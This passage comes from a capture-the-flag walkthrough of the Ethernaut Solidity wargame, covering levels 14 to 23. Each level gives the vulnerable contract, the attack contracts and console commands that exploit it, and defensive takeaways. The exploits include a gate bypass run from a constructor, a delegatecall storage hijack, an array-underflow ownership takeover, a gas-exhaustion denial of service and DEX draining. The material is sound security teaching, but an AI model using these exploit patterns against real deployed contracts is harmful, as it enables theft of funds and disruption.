for (uint i = _gas - 64; i < _gas + 64; i++) {
(bool success, ) = address(_gateAddr).call{gas: i}(abi.encodeWithSignature("enter(bytes8)", key));
if (success) {
succeeded = success;
break;
}
}

emit Entered(succeeded);

return succeeded;
}
}

Key Security Takeaways

  • Abstain from asserting gas consumption in your smart contracts, as different compiler settings will yield different results.
  • Be careful about data corruption when converting data types into different sizes.
  • Save gas by not storing unnecessary values. Pushing a value to state MSTORE, MLOAD is always less gas intensive than store values to the blockchain with SSTORE, SLOAD
  • Save gas by using appropriate modifiers to get functions calls for free, i.e. external pure or external view function calls are free!
  • Save gas by masking values (less operations), rather than typecasting

Level 14. Gatekeeper Two

Goal: player has to set itself as entrant, like the previous level.

Given Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

gateOne

This is exactly same as level 4. An intermediary contract (GatePassTwo here) will be used to call enter, so that msg.sender != tx.origin.

gateTwo

Second check involves solidity assembly code - specifically caller and extcodesize functions. caller() is nothing but sender of message i.e. msg.sender which will be address of GatePassTwo. extcodesize(addr) returns the size of contract at address addr. So, x is assigned the size of the contract at msg.sender address. But size of a contract is always going to be non-zero. And to pass check, x must zero!

Here's the trick. See the footer note of Ethereum Yellow Paper on page 11:

"During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account..."

During creation/initialization of the contract the extcodesize() returns 0. So we're going to put the malicious code in constructor itself. Since it is the constructor that runs during initialization, any calls to extcodesize() will return 0. Update GatePassTwo accordingly (ignore key for now):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatePassTwo {
constructor(address _gateAddr) public {
bytes8 key = bytes8(uint64(address(this)));
address(_gateAddr).call(abi.encodeWithSignature("enter(bytes8)", key));
}
}

This will pass gateTwo.

gateThree Third check is basically some manipulation with ^ XOR operator.

As is visible from the equality check:

uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1

_gateKey must be derived from msg.sender (in GatekeeperTwo), which is same as address(this) in our GatePassTwo.

The uint64(0) - 1 on RHS is max value of uint64 integer (due to underflow). Hence, in hex representation: uint64(0) - 1 = 0xffffffffffffffff

By nature of XOR operation: If, X ^ Y = Z Then, Y = X ^ Z

Using this XOR property, it can be deduced that:

uint64(_gateKey) == uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0xffffffffffffffff)

So, correct key can be calculated in solidity as:

bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0xffffffffffffffff))

Final update to GatePassTwo:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatePassTwo {
constructor(address _gateAddr) public {
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0xffffffffffffffff));
address(_gateAddr).call(abi.encodeWithSignature("enter(bytes8)", key));
}
}

Key Security Takeaways

  • In addition to contract blackholes, you can also create Zombie contracts by stopping contract initialization. The resulting contract has an address, but permanently no code, and will never be able to return you the initial endowment.

Level 15. Naught Coin

Goal: player is given totalSupply of a ERC20 Token - Naught Coin, but cannot transact them before 10 year lockout period. player has to get its token balance to 0.

Given Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

The trick here is that transfer is not the only method in ERC20 (and hence, in NaughtCoin too) that includes code for transfer of tokens between addresses.

According to ERC20 spec, there's also an allowance mechanism that allows anyone to authorize someone else (the spender) to spend their tokens! This is exactly what allowance(address owner, address spender) method is for, in the ERC20 contract. The allowance can then be transacted using the transferFrom(address sender, address recipient, uint256 amount) method.

Apart from player, create another account named - spender in your wallet (MetaMask or some other wallet).

Get the player's total balance by:

totalBalance = await contract.balanceOf(player).then(v => v.toString())
// Output: '1000000000000000000000000'

Make the player approve spender for all of it's tokens:

await contract.approve(spender, totalBalance)

Make the spender to transfer all of it's allowance (which is equal to all of the tokens of player) to spender itself.

I used MetaMask wallet and it connects only a single account at a time to an application. But we need both player and spender connected.

For this, in a new browser window, go to Remix, and connect only the spender account to it. (Make sure player is disconnected from Remix and spender is disconnected from Ethernaut. For me, switching accounts in one window caused switch in other window too, otherwise).

Create an interface to NaughtCoin:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface INaughtCoin {
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}

And load instance of NaughtCoin using At Address button with given instance address of NaughtCoin.

Call the transferFrom method with params - player address as sender, spender address as recipient and 1000000000000000000000000 as amount.

What is ERC20

ERCs (Ethereum Request for Comment) are protocols that allow you to create tokens on the blockchain. ERC20, specifically, is a contract interface that defines standard ownership and transaction rules around tokens.

Contextually, ERC20 was cool in 2015 because it was like an API that all developers agreed on. For the first time, anyone could create a new asset class. Developers came up with tokens like Dogecoin, Kucoin, Dentacoin… and could trust that their tokens were accepted by wallets, exchanges, and contracts everywhere.

Security issues that accompanied ERC20

  • Batchoverflow: because ERC20 did not enforce SafeMath, it was possible to underflow integers. As we learned in lvl 5, this meant that depleting your tokens under 0 would give you 2^256 - 1 tokens!
  • Transfer "bug": makers of ERC20 intended for developers to use approve() & transferFrom() function combination to move tokens around. But this was never clearly stated in documentation, nor did they warn against using transfer() (which was also available). Many developers used transfer() instead, which locked many tokens forever.
    • As we learned in lvl 9, you can't guarantee 3rd contracts will receive your transfer. If you transfer tokens into non-receiving parties, you will lose tokens forever, since the token contract already decremented your own account's balance.
  • Poor ERC20 inheritance: some token contracts did not properly implement the ERC interface, which led to many issues. For example, Golem's GNT didn't even implement the crucial approve() function, leaving transfer() as the only, problematic option.
    • *hint* likewise, this level didn't implement some key functions — leaving Naughtcoin vulnerable to attack.

Key Security Takeaways

  • When interfacing with contracts or implementing an ERC interface, implement all available functions.
  • If you plan to create your own tokens, consider newer protocols like: ERC223, ERC721 (used by Cryptokitties), ERC827 (ERC 20 killer).
  • If you can, check for EIP 165 compliance, which confirms which interface an external contract is implementing. Conversely, if you are the one issuing tokens, remember to be EIP-165 compliant.
  • Remember to use SafeMath to prevent token under/overflows (as we learned in lvl 5)

Level 16. Preservation

Goal: player has to claim the ownership of Preservation.

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

The vulnerability Preservation contract comes from the fact that its storage layout is NOT parallel or complementing to that of LibraryContract whose method the Preservation is calling using delegatecall.

Since delegatecall is context-preserving any write would alter the storage of Preservation, and NOT LibraryContract.

The call to setTime of LibraryContract is supposed to change storedTime (slot 3) in Preservation but instead it would write to timeZone1Library (slot 0). This is because storeTime of LibraryContract is at slot 0 and the corresponding slot 0 storage at Preservation is timeZone1Library.

LibraryContractPreservation
Slot 0storedTime← timeZone1Library
Slot 1-timeZone2Library
Slot 2-owner
Slot 3-storedTime

Solution:

This information can be used to alter timeZone1Library address to a malicious contract - HackLibraryContract. So that calls to setTime is executed in a HackLibraryContract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract HackLibraryContract {
address public timeZone1Library;
address public timeZone2Library;
address public owner;

function setTime(uint _time) public {
owner = msg.sender;
}
}

Note that storage layout of HackLibraryContract is complementing to Preservation so that proper state variables are changed in Preservation when any storage changes. Moreover, setTime contains malicious code that changes ownership to msg.sender (which would the player).

First deploy EvilLibraryContract and copy it's address. Then alter the timeZone1Library in Preservation by:

await contract.setFirstTime(<hack-library-contract-address>)

(a 32 byte uint type can accommodate 20 byte address value)

Now the delegatecall in setFirstTime would execute setTime of HackLibraryContract, instead of LibraryContract since timeZone1Library is now your malicious contract address.

Call setFirstTime with any uint param:

await contract.setFirstTime(1)

As the previous level, delegate mentions, the use of delegatecall to call libraries can be risky. This is particularly true for contract libraries that have their own state. This example demonstrates why the library keyword should be used for building libraries, as it prevents the libraries from storing and accessing state variables.

Key Security Takeaways

  • Ideally, libraries should not store state.
  • When creating libraries, use library, not contract, to ensure libraries will not modify caller storage data when caller uses delegatecall.
  • Use higher level function calls to inherit from libraries, especially when you i) don't need to change contract storage and ii) do not care about gas control.

Useful links:

Level 17. Recovery

Goal: player has to retrieve the funds from the lost address of contract which was created using the Recovery's first transaction.

Useful links:

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

If the address of the lost SimpleToken address is retrieved it's funds can be retrieved using the destroy method.

The easiest way to solve this would be to copy the address of Recovery in Etherscan (on Rinkeby network) and inspect transactions in Internal Txns tab. Find the latest Contract Creation transaction and click through the same to get the address of created contract.

Now simply call destroy method at that address. So, if tokenAddr is the retrieved address then:

functionSignature = {
name: 'destroy',
type: 'function',
inputs: [
{
type: 'address',
name: '_to',
},
],
}

params = [player]

data = web3.eth.abi.encodeFunctionCall(functionSignature, params)

await web3.eth.sendTransaction({ from: player, to: tokenAddr, data })

Another way to get the lost address is by utilizing the fact that creation of addresses of Ethereum is deterministic and can be calculated by:

keccack256(address, nonce)

where address is the address of contract that created the transaction and nonce is the number of contracts the creator address has created. You can read more here and there.

Key Security Takeaways

  • Money laundering potential: this blog post elaborates on the potential of using future contract addresses to hide money. Essentially, you can send Ethers to a deterministic address, but the contract there is currently nonexistent. These funds are effectively lost forever until you decide to create a contract at that address and regain ownership.
  • You are not anonymous on Ethereum: Anyone can follow your current transaction traces, as well as monitor your future contract addresses. This transaction pattern can be used to derive your real world identity.

Level 18. Magic Number

Goal: player has to make a tiny contract (Solver) in size (10 opcodes at most) and set it's address in MagicNum.

Given Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {

address public solver;

constructor() public {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

There's a tight restriction on size of the Solver contract - 10 opcodes or less. Because each opcode is 1 byte, the bytecode of the solver must be 10 bytes at max.

Writing high-level solidity would yield the size much greater than just 10 bytes, so we turn to writing raw EVM bytes corresponding to contract opcodes.

We need to write two sections of opcodes:

  • Initialization Opcodes which EVM uses to create the contract by replicating the runtime opcodes and returning them to EVM to save in storage.
  • Runtime Opcodes which contains the execution logic of the contract.

Alright, so let's figure out runtime opcode first.

Runtime Opcode

The code needs to return the 32 byte magic number - 42 or 0x2a (in hex).

The corresponding opcode is RETURN. But, RETURN takes two arguments - the location of value in memory and the size of this value to be returned. That means the 0x2a needs to be stored in memory first - which MSTORE facilitates. But MSTORE itself takes two arguments - the location of value in stack and its size. So, we need push the value and size params into stack first using PUSH1 opcode.

Lookup the opcodes to be used in opcode reference to get corresponding hex codes:

OPCODENAME
0x60PUSH1
0x52MSTORE
0xf3RETURN

Let's write corresponding opcodes:

OPCODENAME
602aPush 0x2a in stack. Value (v) param to MSTORE(0x60)
6050Push 0x50 in stack. Position (p) param to MSTORE
52Store value, v=0x2a at position, p=0x50 in memory
6020Push 0x20 (32 bytes, size of v) in stack. Size (s) param to RETURN(0xf3)
6050Push 0x50 (slot at which v=0x42 was stored). Position (p) param to RETURN
f3RETURN value, v=0x42 of size, s=0x20 (32 bytes)

Concatenate the opcodes and we get the bytecode: 602a60505260206050f3, which is exactly 10 bytes, the max limit allowed by the level.

Initialization opcode

The initialization opcodes need to come before the runtime opcode. These opcodes need to load runtime opcodes into memory and return the same to EVM.

To CODECOPY opcode can be used to copy the runtime opcodes. It takes three arguments - the destination position of copied code in memory, current position of runtime opcode in the bytecode and size of the code in bytes.

Following opcodes is needed for the above purpose:

OPCODENAME
0x60PUSH1
0x52MSTORE
0xf3RETURN
0x39CODECOPY

But we don't know the position of runtime opcode in final bytecode (since init. opcode comes before runtime opcode). Let's omit it using -- for now and calculate the init. opcodes:

OPCODENAME
600aPush 0x0a (size of runtime opcode i.e. 10 bytes) in stack. Size (s) param to COPYCODE (0x39)
60--Push -- (unknown) in stack. Position (p) param to COPYCODE
6000Push 0x00 (chosen destination in memory) in stack. Destination (d) param to COPYCODE
39Copy code of size, s at position, p to destination, d in memory.
600aPush 0x0a (size of runtime opcode i.e. 10 bytes) in stack. Size (s) param to RETURN (0xf3)
6000Push 0x00 (location of value in memory) in stack. Position (p) param to RETURN
f3Return value of size, s at position, p.

So the initialization opcode is: 600a60--600039600a6000f3, which is 12 bytes in total.

And hence runtime opcodes start at index 12 or position 0x0c.

Therefore initialization opcode must be: 600a600c600039600a6000f3

Final Opcode

Alright we have initialization as well as runtime opcodes now. Concatenate them to get final opcode:

    initialization opcode + runtime opcode

= 600a600c600039600a6000f3 + 602a60505260206050f3

= 600a600c600039600a6000f3602a60505260206050f3

We can now create the contract by noting the fact that a transaction sent to zero address (0x0) with some data is interpreted as Contract Creation by the EVM.

bytecode = '600a600c600039600a6000f3602a60505260206050f3'
txn = await web3.eth.sendTransaction({ from: player, data: bytecode })

After deploying get the contract address from returned transaction receipt:

solverAddr = txn.contractAddress

Set the address Solver address in MagicNum:

await contract.setSolver(solverAddr)

Useful links:

Level 19. Alien Codex

Goal: player has to claim ownership of AlienCodex.

Given Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

The target AlienCodex implements ownership pattern so it must have a owner state variable of address type, which can also be confirmed upon inspecting ABI (contract.abi). Moreover, the 20 byte owner is stored at slot 0 (as well as 1 byte bool contact).

Before we start, note that every contract on Ethereum has storage like an array of 2256 (indexing from 0 to 2256 - 1) slots of 32 byte each.

The vulnerability of AlienCodex originates from the retract method which sets a new array length without checking a potential underflow. Initially, codex.length is zero. Upon invoking retract method once, 1 is subtracted from zero, causing an underflow. Consequently, codex.length becomes 2256 which is exactly equal to total storage capacity of the contract! That means any storage slot of the contract can now be written by changing the value at proper index of codex! This is possible because EVM doesn't validate an array's ABI-encoded length against its actual payload.

First call make_contact so that we can pass check - contacted, on other methods:

await contract.make_contact()

Modify codex length to 2256 by invoking retract:

await contract.retract()

Now, we have to calculate the index, i of codex which corresponds to slot 0 (where owner is stored).

Since, codex is dynamically sized only it's length is stored at next slot - slot 1. And it's location/position in storage, according to allocation rules, is determined by as keccak256(slot) (learn more about keccak256):

p = keccak256(slot)
or, (p = keccak256(1))

Hence, storage layout would look something like:

Slot          Data
------------------------------
0 owner address, contact bool
1 codex.length
.
.
.
p codex[0]
p + 1 codex[1]
.
.
2^256 - 2 codex[2^256 - 2 - p]
2^256 - 1 codex[2^256 - 1 - p]
0 codex[2^256 - p] (overflow!)

Form above table it can be seen that slot 0 in storage corresponds to index, i = 2^256 - p or 2^256 - keccak256(1) of codex.

So, writing to that index, i will change owner as well as contact.

You can go on write some Solidity to calculate i using keccak256, but it can also be done in console which I'm going to use.

Calculate position, p in storage of start of codex array

// Position p
p = web3.utils.keccak256(web3.eth.abi.encodeParameters(['uint256'], [1]))

Calculate the required index, i. Use BigInt for mathematical calculations between very large numbers.

i = BigInt(2 ** 256) - BigInt(p)

Now since value to be put must be 32 byte, pad the player address on left with 0s to make a total of 32 byte. Don't forget to slice off 0x prefix from player address.

content = '0x' + '0'.repeat(24) + player.slice(2)

Finally call revise to alter the storage slot:

await contract.revise(i, content)

This level exploits the fact that the EVM doesn't validate an array's ABI-encoded length vs its actual payload.

Additionally, it exploits the arithmetic underflow of array length, by expanding the array's bounds to the entire storage area of 2256. The user is then able to modify all contract storage.

Both vulnerabilities are inspired by 2017's Underhanded coding contest

Level 20. Denial

Goal: player has to plant a denial of service attack such that owner is unable to withdraw funds through withdraw method.

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.

If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.

This contract's vulnerability comes from the withdraw method which does not mitigate against possible attack through execution of some unknown external contract code through call method. call did not set a gas limit that external call can use.

The call method here can invoke the receive method of a malicious contract at partner address. And this is where we're going to eat up all gas so that withdraw function reverts with out of gas exception.

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}

Solution:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract HackDenial {
// gas burner
uint256 n;
function burn() internal {
while (gasleft() > 0) {
n += 1;
}
}

receive() external payable {
burn();
}
}

This level demonstrates that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.

If you are using a low level call to continue executing in the event an external call reverts, ensure that you specify a fixed gas stipend. For example call.gas(100000).value().

Typically one should follow the checks-effects-interactions pattern to avoid reentrancy attacks, there can be other circumstances (such as multiple external calls at the end of a function) where issues such as this can arise.

Note: An external CALL can use at most 63/64 of the gas currently available at the time of the CALL. Thus, depending on how much gas is required to complete a transaction, a transaction of sufficiently high gas (i.e. one such that 1/64 of the gas is capable of completing the remaining opcodes in the parent call) can be used to mitigate this particular attack.

Level 21. Shop

Goal: player has to set price to less than it's current value.

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

Solution:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IShop {
function buy() external;
function price() external view returns (uint);
function isSold() external view returns (bool);
}

contract Buyer {

function price() external view returns (uint) {
bool isSold = IShop(msg.sender).isSold();
uint askedPrice = IShop(msg.sender).price();
if (!isSold) return askedPrice;
return 0;
}

function callBuy(address _shopAddr) public {
IShop(_shopAddr).buy();
}
}

The new value of price is fetched by calling price() method of a Buyer contract. Note that there are two distinct price() calls - in the if statement check and while setting new value of price. A Buyer can cheat by returning a legit value in price() method of Buyer during the first invocation (during if check) and returning any less value, say 0, during second invocation (while setting price).

But, we can't track the number of price() invocation in Buyer contract because price() must be a view function (as per the interface) - can't write to storage! However, look closely new price in buy() is set after isSold is set to true. We can read the public isSold variable and return from price() of Buyer contract accordingly.

Key Security Takeaways

  • Understanding restrictions of view functions
  • Contracts can manipulate data seen by other contracts in any way they want.
  • It's unsafe to change the state based on external and untrusted contracts logic.

Level 22. Dex

Useful links:

Goal: player has to drain all of at least one of the two tokens - token1 and token2 from the basic DEX contract.

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract Dex is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

The vulnerability originates from get_swap_price method which determines the exchange rate between tokens in the Dex. The division in it won't always calculate to a perfect integer, but a fraction. And there is NO fraction types in Solidity. Instead, division rounds towards zero. according to docs. For example, 3 / 2 = 1 in solidity.

We're going to swap all of our token1 for token2. Then swap all our token2 to obtain token1, then swap all our token1 for token2 and so on.

Here's how the price history & balances would go. Initially,

DEXplayer
token1token2token1token2
1001001010

After swapping all of token1:

DEXplayer
token1token2token1token2
1001001010
11090020

Note that at this point exchange rate is adjusted. Now, exchanging 20 token2 should give 20 * 110 / 90 = 24.44... But since division results in integer we get 24 token2. Price adjusts again. Swap again.

DEXplayer
token1token2token1token2
1001001010
11090020
86110240

Notice that on each swap we get more of token1 or token2 than held before previous swap. This is due to the inaccuracy of price calculation in get_swap_price method.

Keep swapping and we'll get:

DEXplayer
token1token2token1token2
1001001010
11090020
86110240
11080030
69110410
11045065

Now, at the last swap above we've gotten hold of 65 token2, which is more than enough to drain all of 110 token1! By simple calculation, only 45 of token2 is required to get all 110 of token1.

DEXplayer
token1token2token1token2
1001001010
11090020
86110240
11080030
69110410
11045065
09011020

Jump into console. First approve the contract to transfer your tokens with a big enough allowance so that we don't have to approve again & again. Allowance of 500 should be more than enough:

await contract.approve(contract.address, 500)

Get token addresses:

t1 = await contract.token1()
t2 = await contract.token2()
await contract.swap(t1, t2, 10)
await contract.swap(t2, t1, 20)
await contract.swap(t1, t2, 24)
await contract.swap(t2, t1, 30)
await contract.swap(t1, t2, 41)
await contract.swap(t2, t1, 45)

The integer math portion aside, getting prices or any sort of data from any single source is a massive attack vector in smart contracts.

You can clearly see from this example, that someone with a lot of capital could manipulate the price in one fell swoop, and cause any applications relying on it to use the the wrong price.

The exchange itself is decentralized, but the price of the asset is centralized, since it comes from 1 dex. This is why we need oracles. Oracles are ways to get data into and out of smart contracts. We should be getting our data from multiple independent decentralized sources, otherwise we can run this risk.

Chainlink Data Feeds are a secure, reliable, way to get decentralized data into your smart contracts. They have a vast library of many different sources, and also offer secure randomness, ability to make any API call, modular oracle network creation, upkeep, actions, and maintenance, and unlimited customization.

Uniswap TWAP Oracles relies on a time weighted price model called TWAP. While the design can be attractive, this protocol heavily depends on the liquidity of the DEX protocol, and if this is too low, prices can be easily manipulated.

Level 23. Dex Two

Goal: player has to drain all of token1 and token2.

Given Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract Dex is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

The vulnerability here arises from swap method which does not check that the swap is necessarily between token1 and token2. We'll exploit this.

Let's deploy a token - EvilToken in Remix, with initial supply of 400, all given to msg.sender which would be the player:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract EvilToken is ERC20 {
constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
_mint(msg.sender, initialSupply);
}
}

We're going to exchange EVL token for token1 and token2 in such a way to drain both from DexTwo. Initially both token1 and token2 is 100. Let's send 100 of EVL to DexTwo using EvilToken's transfer. So, that price ratio in DexTwo between EVL and token1 is 1:1. Same ratio goes for token2.

Also, allow DexTwo to transact 300 (100 for token1 and 200 for token2 exchange) of our EVL tokens so that it can swap EVL tokens. This can be done by approve method of EvilToken, passing contract.address and 200 as params.

Alright at this point DexTwo has 100 of each - token1, token2 and EVL. And player has 300 of EVL.

DEXplayer
token1token2EVLtoken1token2EVL
1001001001010300

Get token addresses:

evlToken = '<EVL-token-address>'
t1 = await contract.token1()
t2 = await contract.token2()

Swap 100 of player's EVL with token1:

await contract.swap(evlToken, t1, 100)

Updated balances:

DEXplayer
token1token2EVLtoken1token2EVL
1001001001010300
010020011010200

Now, according to get_swap_amount method, to get all 100 of token2 in exchange we need 200 of EVL. Swap accordingly:

await contract.swap(evlToken, t2, 200)

Finally:

DEXplayer
token1token2EVLtoken1token2EVL
1001001001010300
010020011010200
004001101100

As we've repeatedly seen, interaction between contracts can be a source of unexpected behavior.

Just because a contract claims to implement the ERC20 spec does not mean it's trustworthy.

Some tokens deviate from the ERC20 spec by not returning a boolean value from their transfer methods. See Missing return value bug - At least 130 tokens affected.

Other ERC20 tokens, especially those designed by adversaries could behave more maliciously.

If you design a DEX where anyone could list their own tokens without the permission of a central authority, then the correctness of the DEX could depend on the interaction of the DEX contract and the token contracts being traded.

